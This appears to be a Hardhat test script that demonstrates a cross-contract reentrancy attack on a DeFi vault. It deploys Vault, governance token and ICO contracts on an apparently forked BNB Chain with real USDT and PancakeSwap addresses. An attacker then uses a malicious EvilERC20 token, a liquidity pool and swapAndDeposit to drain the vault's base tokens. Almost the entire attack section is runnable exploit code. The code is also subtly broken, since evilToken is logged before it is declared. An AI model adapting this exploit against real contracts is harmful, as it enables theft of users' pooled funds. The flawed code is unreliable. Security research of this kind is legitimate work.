text: const {
      expect
    } = require("chai");
    const { ethers } = require("ethers");
    const {
      ethers: { utils }
    } = require("hardhat");
    const hre = require("hardhat");
    const { setTokenBalance } = require("./utils");
    
    const BASE_TOKEN = "0x55d398326f99059fF775485246999027B3197955"; //USDT
    const ROUTER = "0x10ED43C718714eb63d5aA57B78B54704E256024E"; //pancake v2
    const TREASURY = "0xfA7C77a21A482A2B3cF40C09741148632b9E1Df2";
    const NEW_TOKEN_PRICE = 1
    
    let NEW_TOKEN;
    let platformAdmin, attacker;
    let vault, govToken, icoGov, baseTokenContract;
    
    describe("Cross-Contract Reentrancy Attack", function () {
      it("Setup", async function () {
        [platformAdmin, attacker] = await hre.ethers.getSigners();
    
        //Vault
        const Vault = await hre.ethers.getContractFactory("Vault", platformAdmin);
        vault = await Vault.deploy(BASE_TOKEN, ROUTER);
        await vault.deployed();
        console.log("Vault deployed to:", vault.address);
    
        // GOVToken
        const GOVToken = await hre.ethers.getContractFactory("GOVToken", platformAdmin);
        govToken = await GOVToken.deploy();
        await govToken.deployed();
        console.log("GOVToken deployed to:", govToken.address);
    
        // ICOGov
        NEW_TOKEN = govToken.address;
    
        const ICOGov = await hre.ethers.getContractFactory("ICOGov", platformAdmin);
        icoGov = await ICOGov.deploy(NEW_TOKEN, vault.address, TREASURY, NEW_TOKEN_PRICE);
        await icoGov.deployed();
        console.log("ICOGov deployed to:", icoGov.address);
    
        //transfer owner to ICOGov
        await govToken.transferOwnership(icoGov.address);
    
        //mint base token (USDT) to admin, attacker
        await setTokenBalance(BASE_TOKEN, platformAdmin.address, utils.parseEther("2000000"));
        await setTokenBalance(BASE_TOKEN, attacker.address, utils.parseEther("2000000"));
        baseTokenContract = govToken.attach(BASE_TOKEN);
        console.log("baseTokenContract:", await baseTokenContract.balanceOf(platformAdmin.address));
        console.log("baseTokenContract:", await baseTokenContract.balanceOf(attacker.address));
        expect(await baseTokenContract.balanceOf(platformAdmin.address)).to.equal(utils.parseEther("2000000"));
        expect(await baseTokenContract.balanceOf(attacker.address)).to.equal(utils.parseEther("2000000"));
    
        //deposit to Vault
        baseTokenContract.approve(vault.address, utils.parseEther("1000000"));
        await vault.deposit(utils.parseEther("1000000"));
        expect(await vault.balanceOf(platformAdmin.address)).to.equal(utils.parseEther("1000000"));
    
      });
    
      it("Attack", async function () {
        baseTokenContract = govToken.attach(BASE_TOKEN).connect(attacker);
        vault = vault.connect(attacker);
        govToken = govToken.connect(attacker);
        icoGov = icoGov.connect(attacker);
    
        console.log("[BEFORE ATTACK]")
        console.log("[ATTACKER] BASE TOKEN", utils.formatEther(await baseTokenContract.balanceOf(attacker.address)));
        console.log("[ATTACKER] GOV TOKEN", utils.formatEther(await govToken.balanceOf(attacker.address)));
        console.log("[ATTACKER] EVIL TOKEN", utils.formatEther(await evilToken.balanceOf(attacker.address)));
        console.log("[VAULT] BASE TOKEN", utils.formatEther(await baseTokenContract.balanceOf(vault.address)));
    
        // EvilToken  
        const EvilToken = await hre.ethers.getContractFactory("EvilERC20", attacker);
        const evilToken = await EvilToken.deploy(vault.address, icoGov.address, govToken.address);
        await evilToken.deployed();
        expect(await evilToken.balanceOf(attacker.address)).to.equal(utils.parseEther("3000000"));
        console.log("EvilToken deployed to:", evilToken.address);
    
        //add pool LP
        const routerAbi = [
          'event PairCreated(address indexed token0, address indexed token1, address pair, uint)',
          `function addLiquidity(address tokenA,address tokenB,uint amountADesired,uint amountBDesired,uint amountAMin,uint amountBMin,address to,uint deadline) external returns (uint amountA, uint amountB, uint liquidity)`,
          'function removeLiquidity(address tokenA,address tokenB,uint liquidity,uint amountAMin,uint amountBMin,address to,uint deadline)',
          'function swapTokensForExactTokens(uint amountOut,uint amountInMax,address[] calldata path,address to,uint deadline)'
        ]
        const routerContract = new hre.ethers.Contract(ROUTER, routerAbi, attacker);
        await baseTokenContract.approve(routerContract.address, utils.parseEther("1000000"));
        await evilToken.approve(routerContract.address, utils.parseEther("1000000"));
        let addLPResult = await routerContract.addLiquidity(
          BASE_TOKEN, 
          evilToken.address,
          utils.parseEther("1000000"),
          utils.parseEther("1000000"),
          utils.parseEther("1000000"),
          utils.parseEther("1000000"),
          attacker.address,
          hre.ethers.constants.MaxUint256
        ).then(result => result.wait());
        let pairAddr = addLPResult.events.find(e => e.event == "PairCreated").args.pair
    
        expect((await baseTokenContract.balanceOf(pairAddr))).to.eq(utils.parseEther("1000000"));
        expect((await evilToken.balanceOf(pairAddr))).to.eq(utils.parseEther("1000000"));
    
        // deposit
        await baseTokenContract.approve(vault.address, utils.parseEther("100"));
        await vault.deposit(utils.parseEther("100"));
        let vaultBalance = await baseTokenContract.balanceOf(vault.address);
        let attackerShare = await vault.balanceOf(attacker.address);
        expect(vaultBalance).to.eq(utils.parseEther("1000100"));
        expect(attackerShare).to.eq(utils.parseEther("100"));
    
    
        // deposit with evil token
        await evilToken.approve(vault.address, utils.parseEther("1000000"));
        await vault.approve(evilToken.address, attackerShare);
        await vault.swapAndDeposit(utils.parseEther("1000000"), evilToken.address, utils.parseEther("0"));
    
        // get usdt back
        await vault.withdraw(await vault.balanceOf(attacker.address));
        let evilLP = baseTokenContract.attach(pairAddr);
        await evilLP.approve(routerContract.address, ethers.constants.MaxUint256);
        await routerContract.removeLiquidity(
          BASE_TOKEN, 
          evilToken.address,
          await evilLP.balanceOf(attacker.address),
          utils.parseEther("0"),
          utils.parseEther("0"),
          attacker.address,
          hre.ethers.constants.MaxUint256
        );
    
        //swap base token back form pair
        await evilToken.approve(routerContract.address, utils.parseEther("1000000"));
        await routerContract.swapTokensForExactTokens(
          utils.parseEther("100"),
          utils.parseEther("2000000"),
          [evilToken.address, BASE_TOKEN],
          attacker.address,
          hre.ethers.constants.MaxUint256
        );
    
    
        console.log("[AFTER ATTACK]")
        console.log("[ATTACKER] BASE TOKEN", utils.formatEther(await baseTokenContract.balanceOf(attacker.address)));
        console.log("[ATTACKER] GOV TOKEN", utils.formatEther(await govToken.balanceOf(attacker.address)));
        console.log("[ATTACKER] EVIL TOKEN", utils.formatEther(await evilToken.balanceOf(attacker.address)));
        console.log("[PAIR] BASE TOKEN", utils.formatEther(await baseTokenContract.balanceOf(pairAddr)));
        console.log("[PAIR] EVIL TOKEN", utils.formatEther(await evilToken.balanceOf(pairAddr)));
        console.log("[VAULT] BASE TOKEN", utils.formatEther(await baseTokenContract.balanceOf(vault.address)));
      })
    });